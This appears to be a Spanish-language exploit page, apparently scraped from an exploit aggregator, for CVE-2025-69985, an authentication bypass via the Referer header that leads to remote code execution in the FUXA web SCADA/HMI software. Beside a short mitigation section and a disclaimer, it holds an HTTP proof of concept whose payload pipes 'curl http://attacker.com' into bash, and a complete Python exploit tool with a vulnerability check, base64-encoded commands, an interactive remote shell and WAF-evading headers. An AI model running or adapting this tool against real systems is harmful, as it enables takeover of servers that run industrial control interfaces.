Share
## https://sploitus.com/exploit?id=51B15117-BA05-5423-8E80-2F6A6172C497
# CVE-2025-69985: Exploit para Autenticación Bypass a RCE en FUXA ≤1.2.8

---

## 📌 Descripción General

Este repositorio contiene una **Prueba de Concepto (PoC)** y documentación técnica detallada sobre la vulnerabilidad **CVE-2025-69985**, que afecta a **FUXA** (versiones ≤1.2.8). La vulnerabilidad permite a un atacante **no autenticado** ejecutar **comandos arbitrarios en el servidor** (RCE) mediante un **bypass de autenticación** en el middleware de la aplicación.

A diferencia de vulnerabilidades tradicionales como desbordamientos de memoria en Windows, este fallo reside en una **debilidad lógica en el middleware**, donde el servidor **confunde peticiones externas con internas** debido a una validación incorrecta del encabezado `Referer`.

---

## 🚨 Resumen Técnico

| **CVE**               | **CVE-2025-69985**                                                                 |
|-----------------------|-----------------------------------------------------------------------------------|
| **Tipo**              | Authentication Bypass via Alternate Path (CWE-288)                              |
| **Impacto**           | Remote Code Execution (RCE)                                                      |
| **Gravedad**          | **9.8 CRÍTICO** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)                     |
| **Versiones Afectadas** | FUXA ≤ 1.2.8                                                                     |
| **Plataforma**        | Node.js                                                                           |
| **Producto**          | FUXA (SCADA/HMI basado en web)                                                   |

---

## 🔍 Análisis del Vector de Ataque

### 1️⃣ **Autenticación Bypass (Auth Bypass)**
El middleware de FUXA **confía ciegamente** en el encabezado `Referer`. Si un atacante envía una petición con:
```http
Referer: http:///
```
El servidor **asume que la petición es interna** y **omite la verificación del token JWT**, permitiendo acceso a endpoints protegidos **sin autenticación**.

---

### 2️⃣ **Ejecución de Código Remoto (RCE)**
Una vez eludida la autenticación, el atacante puede interactuar con el endpoint `/api/runscript`, diseñado para ejecutar scripts de Node.js. Al enviar un **payload JSON malicioso**, se obtiene **control total sobre el proceso del servidor**.

---

## 🛠️ Prueba de Concepto (PoC)

### 📌 Ejemplo de Explotación (HTTP Request)
```http
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json

{
    "script": "require('child_process').exec('curl http://attacker.com | bash')",
    "parameters": {}
}
```

> ⚠️ **Nota:** Este ejemplo es ilustrativo. **No ejecutar en entornos productivos sin autorización.**

---

## 💻 Sistemas Afectados

| **Producto** | **Versiones** | **Plataforma** |
|--------------|---------------|----------------|
| FUXA         | ≤ 1.2.8       | Node.js        |

---

## 🛡️ Mitigación y Soluciones

### ✅ **Soluciones Recomendadas**
1. **Actualización Inmediata**
   Actualizar FUXA a una versión **superior a 1.2.8** (parche oficial).

2. **Parche Manual**
   Modificar `server/api/jwt-helper.js` para **eliminar la confianza en el encabezado `Referer`** como método de autenticación.

3. **Implementación de WAF**
   Configurar un **Web Application Firewall** para bloquear peticiones al endpoint `/api/runscript` que no provengan de **redes administrativas conocidas**, independientemente del encabezado `Referer`.

---

## ⚠️ Descargo de Responsabilidad

🔴 **Este material tiene fines exclusivamente educativos y de auditoría de seguridad.**
🔴 **El uso de estas técnicas contra sistemas sin autorización explícita es un delito.**
🔴 **Los autores no se hacen responsables por el mal uso de esta información.**

---

## 📚 Referencias

- [NVD NIST - CVE-2025-69985](https://nvd.nist.gov/vuln/detail/CVE-2025-69985)
- [FUXA GitHub Repository](https://github.com/frangoteam/FUXA)

---

## 🚀 Exploit "Pro" Refactorizado (Python)

> **Características avanzadas** que elevan este exploit a nivel profesional (estilo Exploit-DB o herramientas de Red Team):

### ✨ **Mejoras Clave**
| **Característica**               | **Descripción**                                                                                     |
|-----------------------------------|-----------------------------------------------------------------------------------------------------|
| **🔹 Manejo Dinámico de Shell**    | Modo `--interactive` (`-i`) que abre un **REPL interactivo** para ejecutar múltiples comandos.      |
| **🔹 Detección y Fingerprinting**  | Verifica si el endpoint `/api/runscript` existe antes de lanzar el ataque (`check_vulnerable()`).   |
| **🔹 Payload Mejorado**            | Comando codificado en **Base64** para evitar problemas de escape de caracteres (`&`, `>`, `"`, etc.). |
| **🔹 Robustez de Red**             | Soporte para **User-Agent aleatorios** y **proxies** (útil para Burp Suite o debugging).            |
| **🔹 OOP (Programación Orientada a Objetos)** | Clase `FuxaExploit` modular, reusable y extensible.                                                  |

### 📄 Código del Exploit (`fuxa-exploit.py`)

```python
import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional

# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Logger:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

    @staticmethod
    def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
    @staticmethod
    def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
    @staticmethod
    def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
    @staticmethod
    def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")

class FuxaExploit:
    def __init__(self, base_url: str, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Referer": f"{self.base_url}/fuxa"
        })

    def check_vulnerable(self) -> bool:
        """Verifica si el endpoint existe antes de atacar."""
        try:
            r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
            return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
        except Exception:
            return False

    def execute(self, command: str) -> str:
        # Payload mejorado: Encoding en Base64 para evitar romper el JSON
        b64_cmd = base64.b64encode(command.encode()).decode()

        js_code = (
            f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
            "const r = require('child_process').execSync(c);"
            "return r.toString();"
        )

        payload = {
            "params": {
                "script": {
                    "id": "exp", "name": "exp",
                    "code": js_code, "test": js_code
                }
            }
        }

        try:
            r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
            return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
        except Exception as e:
            return f"Exception: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-c", "--cmd", help="Single command to execute")
    parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
    parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")

    args = parser.parse_args()
    exploit = FuxaExploit(args.url, args.proxy)

    Logger.info(f"Targeting: {args.url}")

    if args.interactive:
        Logger.success("Entering interactive mode. Type 'exit' to quit.")
        while True:
            try:
                cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
                if cmd.lower() in ['exit', 'quit']: break
                if not cmd: continue
                print(exploit.execute(cmd))
            except KeyboardInterrupt: break
    elif args.cmd:
        Logger.info(f"Executing: {args.cmd}")
        print(exploit.execute(args.cmd))
    else:
        parser.print_help()

if __name__ == "__main__":
    main()
```

> ⚠️ **Uso responsable:** Ejecutar solo en entornos controlados y con autorización expresa.

---

## 🎯 ¿Qué lo hace "Pro"?

| **Característica**               | **Beneficio**                                                                                     |
|-----------------------------------|---------------------------------------------------------------------------------------------------|
| **🔹 OOP**                        | Modularidad: La clase `FuxaExploit` puede ser importada en otros scripts o herramientas.          |
| **🔹 Base64 Bypass**               | Evita problemas de escape en comandos complejos (ej: `&`, `>`, `"`, etc.).                        |
| **🔹 Pseudo-Shell (`-i`)**         | Permite **investigar el sistema interactivamente** sin reiniciar el script.                        |
| **🔹 Proxy Support**              | Útil para **depurar** el exploit usando herramientas como Burp Suite o mitmproxy.                |
| **🔹 Headers Realistas**          | User-Agent de navegador para **evitar firmas básicas de WAFs**.                                   |
```